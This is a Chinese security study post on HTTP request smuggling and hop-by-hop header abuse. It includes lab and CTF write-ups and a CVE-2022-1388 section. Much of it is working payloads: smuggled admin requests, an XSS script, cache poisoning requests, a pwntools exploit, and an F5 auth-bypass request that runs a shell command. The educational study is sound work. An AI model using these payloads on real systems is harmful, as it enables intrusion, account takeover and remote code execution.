参考链接见文末,如有错漏还请指正(滑跪

*052822:看了很多师傅对于 BigIp cve 的分析后发现自己对于 Hop By Hop 漏洞的了解还是浅尝辄止了,不是一个好习惯,警示自己


HTTP 请求走私

漏洞成因

请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致时,这种差异可以让我们在一个 HTTP 请求中嵌入另一个 HTTP 请求 以达到走私的目的,直接表现为我们可以访问内网服务,或者造成一些其他的攻击

keep-alive & pipeline

为了缓解源站的压力,一般会在用户和后端服务器(源站)之间加设前置服务器,用以缓存、简单校验、负载均衡等,而前置服务器与后端服务器往往是在可靠的网络域中,ip 也是相对固定的,所以可以重用 TCP 连接来减少频繁 TCP 握手带来的开销

这里就用到了 HTTP1.1 中的 Keep-AlivePipeline 特性,keep-alive 让服务器在接受完这次的 http 请求后不要关闭 TCP 连接,对后面相同目标服务器的 HTTP 请求重用这一个 TCP 连接,这样只需一次 TCP 握手,减少服务器开销 节约资源;而 Pipeline 允许客户端像流水线一样发送请求,服务端根据 FIFO 原则响应

以下是使用以及不使用 piepeline 技术的对比图:

img

在整个过程中,如果前置服务器和后端服务器应当在 HTTP 请求的边界划分上不一致,当我们发送精心构造的模糊的 HTTP 请求,就会产生漏洞,而模糊的点就在于下面要提到的 CL & TE

CL & TE

HTTP 规范提供了两种不同的方法来指定请求的结束位置 Content-LengthTransfer-Encoding;其中 TE 请求头比较特殊,HTTP/2 中不再支持,指定用于传输请求主体的编码方式,可用的值有 chunked/compress/deflate/gzip/identity | doc

这里我们关注 Transfer-Encoding: chunked,当这样设置之后,body 按一系列块的形式发送 并省略 CL 头;每个块的开头用 16 禁止数表明当前块的长度,数值后接 2 字节的 \r\n,然后是块的内容,再接 \r\n 表示结束,最后用长度为 0 的块表示终止块,终止块后是 trailer,由 0 或多个实体头组成,可以存放对数据的数字签名

POST / HTTP/1.1
Host: 1.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
6
hahaha
0
[空白行]
[空白行]
[chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]

在计算长度时注意这样的原则:

  • CL 需要将 body 中 \r\n 所占的 2 字节计算在内,而块长度要忽略块内容末尾表示终止的 \r\n
  • 请求头和 body 中空行不计入 CL

测试用 chunked 发送

Wikipedia in\r\n\r\nchunks.

可以这样

POST /xxx HTTP/1.1
Host: xxx
Content-Type: text/plain
Transfer-Encoding: chunked

4\r\n
Wiki\r\n
5\r\n
pedia\r\n
e\r\n
 in\r\n\r\nchunks.\r\n
0\r\n
\r\n

4 是 16 进制数 后接 2 字节 \r\n 表示 chunk-size,后接 chunk-size 大小的 Wiki,后接两字节的 \r\n 表示 chunk-data 部分

第三部分数据

e\r\n
 in\r\n\r\nchunks.\r\n

e = 14 = 1 (空格) + 2 (in) + 4 (\r\n*2) + 7 (chunks.)

最后的 0\r\n\r\n 表示 chunk 部分结束

攻击方式

CL.TE

前端服务器处理 Content-Length,后端服务器遵守 RFC2616 规定处理 Transfer-Encoding

POST / HTTP/1.1
Host: 1.com
Content-Length: 6
Transfer-Encoding: chunked

0

a

a 会被认作下一个请求的一部分,留在缓冲区等待剩余的请求,此时再有 GET 就会被拼接为 aGET / HTTP/1.1\r\n,畸形的 aGET 会造成解析异常

aGET / HTTP/1.1
Host: 1.com
....

如果存在这样的漏洞,发送上面的 payload 会造成延时(后端服务器等下一个 chunk 来清掉缓冲区

TE.CL

前端服务器 Transfer-Encoding,后端服务器 Content-Length 标头

POST / HTTP/1.1
Host: example.com
...
Content-Length: 4
Transfer-Encoding: chunked

17
POST /rook1e HTTP/1.1

0
[空白行]
[空白行]

前端服务器分块传输长度为 17 的块 POST /rook1e HTTP/1.1\r\n,后端则根据 CL=4 截取到 17\r\n 并把后面的放入缓冲区,此时再有 GET 就会被拼接为 POST /rook1e 走私请求

POST /rook1e HTTP/1.1

0

GET / HTTP/1.1
....

如果存在这样的漏洞,发送上面的 payload 会造成延时(后端服务器等待剩余部分

TE.TE

前端和后端服务器都支持 Transfer-Encoding 标头,但是容错性上表现不同,可以通过以某种方式来诱导其中一个服务器不处理它,变为上面两种之一

POST / HTTP/1.1
Host: 1.com
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding[空格]: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0
[空白行]
[空白行]

fuzz 用 payload,根据实现 RFC 的不同而有细微的差别

Transfer-Encoding: xchunked

Transfer-Encoding[空格]: chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[空格]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL

请求包中包含两个不同值得 Content-Length,根据 RFC7230 会返回 400,但是有可能服务器并没有严格遵守这个规范

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n

12345\r\n
a

a 会被带入下一个请求,变为 aGET / HTTP/1.1\r\n

CL in GET

前端服务器允许 GET 携带 body,后端不允许 GET 携带 body 并直接忽略 GET 请求中的 Content-Length 标头,基于 pipeline 机制认为这是两个独立的请求(类似 Nodejs 中的 cve-2018-12116)

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 41\r\n
\r\n
GET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

后端认作两个独立的请求,这里格外注意 CL 值得计算 22+19=41(分别 len 一下

GET /secret HTTP/1.1\r\n	-->	20个字符+CRLF = 22
Host: example.com\r\n	-->	17个字符+CRLF = 19

optional whitespace/cve-2019-16869

RFC7320 中要求 header 部分 字段之后要紧跟:,之后是 optional whitespace;如果有中间件没有严格实现这个 RFC 就会有被攻击的可能

cve-2019-16869 是 Netty 中间件的漏洞,在 4.1.42Final 版本前对于 Header 头的处理是使用 splitHeader 方法,其中关键代码如下:

for (nameEnd = nameStart; nameEnd < length; nameEnd ++) {
  char ch = sb.charAt(nameEnd);
  if (ch == ':' || Character.isWhitespace(ch)) {
    break;
  }
}

这里将空格与冒号同样处理了,也就是说如果存在空格会把冒号之前的 field name 正常处理而不会抛出错误或进行其他操作

POST /getusers HTTP/1.1
Host: www.backend.com
Content-Length: 64
Transfer-Encoding : chunked

0

GET /hacker HTTP/1.1
Host: www.hacker.com
hacker: hacker

用 ELB 作前端服务器,Netty 作后端服务器,当发送上述请求时由于 TE 字段冒号前的空格不符合 RFC 标准,会被 ELB 忽略 按照 CL 解析并转发给后端的 Netty,Netty 会优先解析 TE(即使不合 RFC 的标准)并拆分为一以下两个请求

POST /getusers HTTP/1.1
Host: www.backend.com
Content-Length: 64
Transfer-Encoding : chunked

0
GET /hacker HTTP/1.1
Host: www.hacker.com
hacker: hacker

在 4.1.42Final 中修复了这个洞,当不规范的请求头出现时会返回 400

chunk size issue

printf 'GET / HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: chunked\r\n'\
'Dummy:Header\r\n'\
'\r\n'\
'0000000000000000000000000000042\r\n'\
'\r\n'\
'GET /tmp/ HTTP/1.1\r\n'\
'Host:localhost\r\n'\
'Transfer-Encoding: chunked\r\n'\
'\r\n'\
'0\r\n'\
'\r\n'\
| nc -q3 127.0.0.1 8080

某些中间件在解析块大小的时候,会将长度块大小长度进行截断,比如这里表现为只取'000000000000000000000000000004200000000000000000,这样就会认为这是两个请求了,第一个请求的块大小为 0,第二个就会请求 /tmp,就导致了 HTTP Smuggling

HTTP/0.9

HTTP/1.1

GET /foo HTTP/1.1\r\n
Host: example.com\r\n

HTTP/1.0

GET /foo HTTP/1.0\r\n
\r\n

HTTP/0.9

GET /foo\r\n

HTTP/0.9 请求包与响应包是都没有 headers 的概念的,body 是文本流形式,所以理所当然的尝试攻击

image-20220319160208757

图中走私的部分并不是 HTTP/0.9 的标准格式但由于一些中间件虽然已经不支持直接解析 HTTP/0.9 的标准格式,但是还可能存在解析这种指定 HTTP version 的情况

image-20220319161329950

image-20220319161723973

视频演示 - link

实际用例

绕过前端安全控制

https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-cl-te

我们需要获取 admin 权限并删除 carlos 用户;直接访问 /admin 提示 403,尝试 smuggling

POST / HTTP/1.1
Host: acf91f491f39aa83ca24ee71001b00aa.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a
Content-Length: 28
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

发送 2 次后回显 Admin interface only available if logged in as an administrator, or if requested as localhost,我们在走私的部分加上 localhost 并更新 CL 长度

POST / HTTP/1.1
Host: acf91f491f39aa83ca24ee71001b00aa.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a
Content-Length: 45
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: localhost

image-20220319173003409

得到删除 carlos 的 api /admin/delete?username=carlos,继续修改 payload

POST / HTTP/1.1
Host: acf91f491f39aa83ca24ee71001b00aa.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a
Content-Length: 68
Transfer-Encoding: chunked

0

GET /admin/delete?username=carlos HTTP/1.1
Host: localhost

一定注意 \r\n 数量和 CL 的大小

泄露代理服务器重写字段

https://portswigger.net/web-security/request-smuggling/exploiting/lab-reveal-front-end-request-rewriting

我们需要首先找出被前端服务器增加的字段,之后伪造本地请求并 smuggling 访问 /admin 并删除 carlos 账号

要达到前者的目的,portswigger 的解决方案是这样的

  • 找一个能够将请求参数的值输出到响应中的 POST 请求
  • 把该 POST 请求中,找到的这个特殊的参数放在消息的最后面
  • 走私这个请求,然后直接发送一个普通的请求,前端服务器对这个请求重写的一些字段就会显示出来

尝试前面的 payload

POST / HTTP/1.1
Host: aca21f881e7fa688c0e81584004700af.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=KmHiNQ45l7kqzLTPM6uBMpcgm8uesd5a
Content-Length: 28
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

回显 Admin interface only available if logged in as an administrator, or if requested from 127.0.0.1,我们利用搜索回显将前端服务器转发的请求头泄露出来,这里第二部分的 CL=70 用来控制泄露字节的多少

POST / HTTP/1.1
Host: aca21f881e7fa688c0e81584004700af.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=VfYd3AGPB3TOUZNTRF2frj0c5kNJgBpw
Content-Length: 103
Transfer-Encoding: chunked

0

POST / HTTP/1.1
Content-Length: 70
Content-Type: application/x-www-form-urlencoded

search=123

image-20220319181334902

发现前端服务器自动会加上 X-XpZgRc-Ip 的请求头,如果我们直接加一样的内容会因为 duplicate header names 的原因而 403,我们选择 smuggling 攻击将前端服务器多加的请求头隐藏掉

POST / HTTP/1.1
Host: aca21f881e7fa688c0e81584004700af.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=VfYd3AGPB3TOUZNTRF2frj0c5kNJgBpw
Content-Length: 75
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
X-XpZgRc-Ip: 127.0.0.1
Content-Length: 10

x=1

回显删除 carlos 的 api /admin/delete?username=carlos

获取其它用户请求

原理跟上面泄露字段大体相同,既然能得到中间件请求 我们也可以尝试得到其它用户的请求和 cookie 等

POST / HTTP/1.1
Host: ac951f7d1e9ea625803c617f003f005c.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=ipRivKyVnK41ZGBQk7JvtKjbD4drk2At
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 271
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 600
Cookie: session=ipRivKyVnK41ZGBQk7JvtKjbD4drk2At

csrf=oIjWmI8aLjIzqX18n5mNCnJieTnOVWPN&postId=5&name=1&email=1%40qq.com&website=http%3A%2F%2Fwww.baidu.com&comment=1

加强版 XSS

UA 头有反射 XSS,我们构造这样的 payload

POST / HTTP/1.1
Host: ac811f011e27d43b80301693005a0007.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=iSxMvTrkiVN2G5N7EF7MTKgXGRE6A5xZ
Upgrade-Insecure-Requests: 1
Content-Length: 150
Transfer-Encoding: chunked

0

GET /post?postId=5 HTTP/1.1
User-Agent: "><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

x=1

只需要发送一次,之后任意访问页面都会弹窗,因为我们的请求嵌入到上面第二个请求中

修改重定向

目标在使用 30x 跳转的时候,使用了 Host 头进行跳转,例如在 Apache & IIS 服务器上,一个 uri 最后不带 / 的请求会被 30x 导向带 / 的地址,例如发送以下请求:

GET /home HTTP/1.1
Host: normal-website.com

我们会得到 Response :

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

看起来没什么危害,但是如果我们配合 HTTP Smuggling 就会有问题了,例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Smugle 之后的请求会像以下这样:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

然后如果服务器根据 Host 进行跳转的话,我们会得到以下的 Response:

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

这样,受害者,也就是访问 /scripts/include.js 这个的用户,会被跳转到我们控制的 url

缓存投毒

https://portswigger.net/web-security/request-smuggling/exploiting/lab-perform-web-cache-poisoning

基于上面的 Host 跳转的攻击场景,当前端服务器还存在缓存静态资源时可以配合 smuggling 进行缓存投毒

在 /post/next?postId=2 的路由处有一个跳转的 api 供我们使用,这个路由跳转到 /post?postId=4

我们选择 /resources/js/tracking.js 进行投毒

POST / HTTP/1.1
Host: ac7a1f141fadd93d801c469f005500bf.web-security-academy.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=f6c7ZBB52a6iedorGSywc8jM6USu4685
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: ac701fe61fabd97b8027465701f800a8.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

之后再访问 /resources/js/tracking.js 会跳转到我们走私请求的 url/post?postId=4,再访问正常主页就会 alert

image-20220319205945177

在 C 请求的 /resources/js/tracking.js 会被前端服务器认为是静态资源缓存起来,而我们利用 HTTP Smuggling 将这个请求导向了我们的 vps,返回了 alert(1) 给 C 请求,然后这个响应包就会被前端服务器缓存起来,这样我们就成功进行了投毒

缓存欺骗

在缓存投毒中,攻击者将恶意内容存储在缓存中 并将该内容从缓存中提供给其它应用程序用户,而在缓存欺骗中,攻击者使应用程序将一些属于另一个用户的敏感内容存储在缓存中,然后攻击者从缓存中检索该内容

我们发送这样的请求

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 43
Transfer-Encoding: chunked

0

GET /private/messages HTTP/1.1
Foo: X

smuggle 的请求会用 Foo:X 覆盖下一个发过来的请求头的第一行(GET /xxx HTTP/1.1) 并且这个请求会带着用户的 cookie 去访问,类似 CSRF,该请求就会变成这样

GET /private/messages HTTP/1.1
Foo: XGET /static/some-image.png HTTP/1.1
Host: vulnerable-website.com
Cookie: sessionId=q1jn30m6mqa7nbwsa0bhmbr7ln2vmh7z

多发送几次,一旦用户访问的是静态资源,就可能会被前端服务器缓存起来,我们就可以拿到用户 /private/messages 的信息了

in CTF

[BuckeyeCTF 2021]Curly fries

file-link

用 c 的 curl.h 库实现 curl 的功能,接收一个我们输入的 url,curl 之后返回响应包的内容,看下 c 源码

#include <curl/curl.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int verify_flag_file() {
    // Verify that the flag file still contains the flag
    char* buf = malloc(1024);
    FILE* fp = fopen("./flag.txt", "r");
    fgets(buf, 1024, fp);
    int res = strstr(buf, "Congratulations! Here's the flag: buckeye{") == buf;
    free(buf);
    return res;
}

char* response = NULL;
size_t response_buf_size = 0;
size_t response_size = 0;

size_t header_callback(char* data, size_t size, size_t nitems, void* userdata) {
    size_t real_size = size * nitems;

    printf("< %.*s", (int)real_size, data);

    if (strstr(data, "Content-Length") == data ||
        strstr(data, "content-length") == data) {   // 检查CL头 并不严谨
        __attribute__((unused)) char* name = strtok(data, " ");
        size_t content_length = atol(strtok(NULL, " "));    // 注意 依据CL值分配缓冲区的大小

        if (response) { // 如果有先释放
            free(response);
        }
        response_buf_size = content_length + 1;
        response = (char*)malloc(response_buf_size);    // 分配响应缓冲区大小为CL+1
    }
    return real_size;
}

size_t write_callback(void* data, size_t size, size_t nitems, void* userdata) {
    size_t real_size = size * nitems;

    if (response_size + real_size > response_buf_size - 1) {
        response_buf_size = response_size + real_size + 1;
        response = (char*)realloc(response, response_buf_size);
    }

    memcpy(response + response_size, data, real_size);
    response_size += real_size;
    return real_size;
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    char url[64];
    printf("Enter a URL and I'll curl it: ");
    fgets(url, 64, stdin);
    url[strcspn(url, "\n")] = 0;

    if (!verify_flag_file()) {
        fprintf(stderr, "ERROR! flag.txt may have been tampered with!\n");
        return 3;
    }

    CURL* curl = curl_easy_init();
    if (curl) {
        curl_easy_setopt(curl, CURLOPT_URL, url);
        curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);

        curl_easy_setopt(curl, CURLOPT_HEADERFUNCTION, header_callback);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_callback);
        curl_easy_setopt(curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);

        CURLcode res = curl_easy_perform(curl);

        if (res == CURLE_OK) {
            if (response) {
                response[response_buf_size] = 0;
                puts(response);
                free(response);
            }
        } else {
            fprintf(
                stderr, "curl_easy_perform() failed: %s\n",
                curl_easy_strerror(res));
        }

        curl_easy_cleanup(curl);
    }
    return 0;
}

注意 header_callback 检查 CL 头的时候用 strstr 函数,意味着我们可以用 Content-Lengthw: 1023 这样的头来给 response 分配 1023+1=1024 的空间

理论上来说,malloc 应该在 verify_flag_file 的地方及时地释放掉含有 flag 的部分并且正确给出 response,但是根据 doc - the curl docs for the write callback,传入的数据并没有空字符作为终止符,而题目 puts (response) 的内容会到 response_buf 的末尾,也就是 1024 大小

最后,response 中前 16 字节是空字节,我们需要在发送 16 字符让它们变为非空

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.bind(('0.0.0.0', 6969))
s.listen()

conn, addr = s.accept()
print('Accepted connection.')
with conn:
    data = b''
    while not data.endswith(b'\r\n\r\n'):
        data += conn.recv(1)

    print(data)

    conn.sendall(
        b'HTTP/1.1 200 OK\r\n'
        b'Content-Lengthw: 1023\r\n'
        b'\r\n' + b'a'*16
    )

s.close()

严格来说这并不是 smuggling 的问题,最多是涉及到 TE

There was a use after free on the buffer the flag was stored in. If you could get the binary to re-allocate another 1024-length buffer and not fill it in, it will contain the flag that was originally read into the “flag validity checking” buffer.

虽然还是有一点点不太懂

[BuckeyeCTF 2021]sozu

这下是正经的 smuggling 问题了

from pwn import *
import ssl

hostname = 'sozu.chall.pwnoh.io'
ctx = ssl.create_default_context()
#ctx.check_hostname = False
#ctx.verify_mode = ssl.CERT_NONE
sock = socket.create_connection((hostname, 13380))
ssock = ctx.wrap_socket(sock, server_hostname=hostname)

r = remote(hostname, "13380", sock=ssock)

# The solution here is the tab after 'chunked'.
# sozu will use content-length, gunicorn will use
# chunked.

# You do actually need another request after getting
# the flag, otherwise you won't get the response back

#r = remote("localhost", "3000")

r.send("""POST /public/testing HTTP/1.1\r
Host: sozu.chall.pwnoh.io\r
Connection: keep-alive\r
transfer-encoding: chunked\t\r
content-length: 60\r
\r
2\r
hi\r
0\r
\r
GET /internal/flag HTTP/1.1\r
Host: localhost\r
\r
GET /public/test HTTP/1.1\r
Host: sozu.chall.pwnoh.io\r
\r
""")
r.interactive()

不知名题

https://hg8.sh/posts/misc-ctf/request-smuggling/

正常的响应包提示 Server: gunicorn/19.9.0,当访问 /results 时 有一个 HAProxy Authentication,所以 web 部分应该是这样的架构

        User
          |
          |
    +-----+-----+
    |           |
    |  HAProxy  |
    |           |
    +-----+-----+
          |
          |
+---------+----------+     +-------------+
|                    |     |             |
|      Gunicorn      |     |   Web App   |
|  WSGI HTTP Server  +-----+  Python (?) |
|                    |     |             |
+--------------------+     +-------------+

前端的服务器是 HAProxy,后端的是 gunicorn,所以我们尝试 smuggling,夹带一个 /results 的请求,让它不被前端服务器 HAProxy 解析 直接转发给后端的 gunicorn

尝试这样的请求

POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 6
Transfer-Encoding: chunked

0

X

正常情况下前端的 HAProxy 会这样转发给后端的 gunicorn

POST / HTTP/1.1
Host: misc.ctf:33433
Transfer-Encoding: chunked
X-Forwarded-For: 172.21.0.1

0

可以注意到末尾的 X 因为 CL 的原因而被丢掉 并且忽略了 TE,我们 smuggling 是需要 TE 的,尝试这样修改

POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 13
Transfer-Encoding:[\x0b]chunked

0

SMUGGLED

转发后是这样

POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 13
Transfer-Encoding:
                  chunked
X-Forwarded-For: 172.21.0.1

0

SMUGGLED

成功走私了内容

直接放最后的 payload

POST / HTTP/1.1
Host: misc.ctf:33433
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding:�chunked

1
A
0

GET /results HTTP/1.1
Foo: xGET / HTTP/1.1
$ printf "POST / HTTP/1.1\r\nHost: misc.ctf:33433\r\nContent-Length: 39\r\nContent-Type: application/x-www-form-urlencoded\r\nTransfer-Encoding:^Lchunked\r\n\r\n1\r\nA\r\n0\r\n\r\nGET /results HTTP/1.1\r\nFoo: xGET / HTTP/1.1\r\n\r\n" | nc misc.ctf:33433

HTTP/1.1 400 BAD REQUEST
Server: gunicorn/19.9.0
Date: Thu, 04 Jun 2020 17:41:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 192

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>400 Bad Request</title>
<h1>Bad Request</h1>
<p>The browser (or proxy) sent a request that this server could not understand.</p>
HTTP/1.1 200 OK
Server: gunicorn/19.9.0
Date: Thu, 04 Jun 2020 17:41:32 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 30

flag{r3KW35t 5mu99L1N9 12 8Ad}

修复

  • 使用 HTTP/2

加入了 Request multiplexing over a single TCP connection,减少 TCP 连接复用的可能性

  • 前后端服务器一致
  • 禁用代理服务器与后端服务器之间的 TCP 连接复用

hop-by-hop headers abuse

根据 RFC 2612,为了区分请求中代理是否存 cache 的行为,把请求头区分为以下两种

  • end-to-end

必须贯穿请求始终

  • hop-by-hop

当请求中遇到这些请求头,一个正常的 proxy 不会把这些信息带到下一个 hop 内;默认 hop-by-hop 有这些

Connection
Keep-Alive
Proxy-Authenticate
Proxy-Authorization
TE
Trailers
Transfer-Encoding
Upgrade

除此之外还可以自定义请求头加入 hop-by-hop 的行列中,只需把它放入 Connection 字段中即可

Connection: close, X-Foo, X-Bar

由此导致的 hop-by-hop 头滥用可能会导致一些逻辑错误

img

如上图所示,正常 proxy 处理会在原始请求的下一跳(转移到代理)中移除 hop-by-hop 列表中的头,利用这种特性,在 Connection 中被添加的头会被移除,有这样几种利用思路:删除 XFF 头隐藏 IP、缓存中毒 DoS、SSRF、绕过 WAF

由删 header 导致的权限提升漏洞有 CVE-2021-32813,修复方案就是 BIG-IP 同款的 set,还有栗子栗子 2

CVE-2022-1388

将鉴权用的 X-F5-Auth-Token 头放入 Connection 中让其在被转发至后端服务器时被删掉,从而绕过鉴权

POST /mgmt/tm/util/bash
Authorization: Basic YWRtaW46
X-F5-Auth-Token: a
Connection: Keep-alive, X-F5-Auth-Token

{
	"command":"run",
	"utilCmdArgs":"-c id"
}

更多 java 代码层的分析详见天河师傅的这篇

首先是当 X-F5-Auth-Token 为空时走入另一条验证流程,而这个流程依赖于我们给 header 提供的 Authorization: 字段。因为 Authorization 字段可控,并且没有复杂的加密处理,从而导致可以轻易绕过鉴权。


以下是本文中涉及到的 和我学习时看过的所有文章的链接🔗 每日感谢互联网的丰富资源(

HTTP 请求切分出处 paper

burp 详解

一篇文章带你读懂 HTTP Smuggling 攻击

cve-2018-8004

不知名题

BIG-IP (CVE-2022-1388) 从修复方案分析出 exp

CVE-2022-1388 漏洞分析

Abusing HTTP hop-by-hop request headers